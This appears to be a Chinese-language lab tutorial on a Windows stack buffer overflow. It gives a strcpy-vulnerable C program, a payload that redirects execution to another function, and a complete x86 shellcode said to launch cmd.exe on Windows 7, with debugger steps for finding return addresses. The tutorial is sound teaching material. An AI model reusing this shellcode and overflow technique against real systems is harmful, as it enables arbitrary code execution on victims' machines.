一、实验代码
#include <windows.h>
#include <string.h>
#include <stdio.h>
int fun(char *cpybuf)
{
char buf[8];
strcpy(buf,cpybuf);
return 0;
}
int main()
{
MessageBox(NULL,"BOFtest","BOF",MB_OK);
char buff[]="1234567";
fun(buff);
return 0;
}
上面代码中buff[]="12345678AAAABBBB",将会溢出。仔细观察溢出后的情况。
二、修改buf执行另一个函数
在上面代码中,添加另一个函数fun2
int fun2()
{
MessageBox(NULL,"YouWin","PASS",MB_OK);
return 0;
}
在main函数中修改buf值为char buff[]="\x31\x32\x33\x34\x35\x36\x37\x38\x61\x61\x61\x61\xf\x10\x40\x0";
此时将会跳出YouWin的对话框
三、修改buf弹出cmd shell
char buff[]="\x31\x32\x33\x34\x35\x36\x37\x38\x61\x61\x61\x61\xc9\x2f\x42\x00"
"\x90\x90\x90\x90\x90\xE9\x96\x00\x00\x00\x56\x31\xC9\x64\x8B\x71"
"\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66"
"\x39\x4F\x18\x75\xF2\x5E\xC3\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B"
"\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x37\x49"
"\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x0A\xC1"
"\xCF\x0D\x01\xC7\xE9\xF1\xFF\xFF\xFF\x3B\x7C\x24\x28\x75\xDE\x8B"
"\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B"
"\x01\xE8\x89\x44\x24\x1C\x61\xC3\xAD\x50\x52\xE8\xA7\xFF\xFF\xFF"
"\x89\x07\x81\xC4\x08\x00\x00\x00\x81\xC7\x04\x00\x00\x00\x39\xCE"
"\x75\xE6\xC3\xE8\x19\x00\x00\x00\x98\xFE\x8A\x0E\x7E\xD8\xE2\x73"
"\x81\xEC\x08\x00\x00\x00\x89\xE5\xE8\x5D\xFF\xFF\xFF\x89\xC2\xEB"
"\xE2\x5E\x8D\x7D\x04\x89\xF1\x81\xC1\x08\x00\x00\x00\xE8\xB6\xFF"
"\xFF\xFF\xEB\x0E\x5B\x31\xC0\x50\x53\xFF\x55\x04\x31\xC0\x50\xFF"
"\x55\x08\xE8\xED\xFF\xFF\xFF\x63\x6d\x64\x2E\x65\x78\x65\x00";
看最后一行x63\x6d\x64\x2E\x65\x78\x65,实际表示cmd.exe 。上面的buff实际为一shellcode,windows7上测试通过,
将12345678aaaa与buf相应地址结合,并加上若干\x90——NOP,空指令,反复用OD软件调试可成功弹出cmd.exe。
要找到shellcode地址,关键是设置断点breakpoint(fun函数前后设置),寻找E996000000(JMP 0042????)适当计算x90的个数及地址,使得E996000000指令正好可单独组成一个指令(单独一行),另外第一行中最后四位表示地址,这个地址是需要反复观察与计算后得出的。
\xc9\x2f\x42\x00